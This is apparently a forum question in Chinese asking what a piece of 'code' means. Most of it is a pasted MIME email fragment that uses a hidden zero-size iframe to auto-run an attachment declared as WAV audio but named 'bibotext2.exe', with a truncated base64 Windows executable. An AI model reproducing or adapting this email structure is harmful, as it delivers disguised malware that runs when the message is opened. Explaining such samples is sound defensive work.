请问下面的代码是什么意思呢?
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<HTML>
<iframe src=3Dcid:Mud height=3D0 width=3D0>
</iframe></BODY></HTML>
--====A====--
--====B====
Content-Type: audio/x-wav;
name="bibotext2.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAACjclS35xM65OcTOuTnEzrkvjAp5OMTOuTnEzvkxhI65GQb
Z+T0EzrkPTAm5OYTOuTnEzrk7hM65OEwMOTmEzrk4TAx5C4TOuQgFTzk5hM65FJpY2jnEzrk
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBgAW9tQ/AAAAAAAAAADgAA8BCwEGAABA
DAAAMA8AAAAAAJCLCAAAEAAAAFAMAAAAQAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAgBsA
ABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAg/AwA8AAAAABA
GgCQPwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAMAIQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAudGV4dAAAALQ4DAAAEAAAAEAMAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAuxAAA
--====B====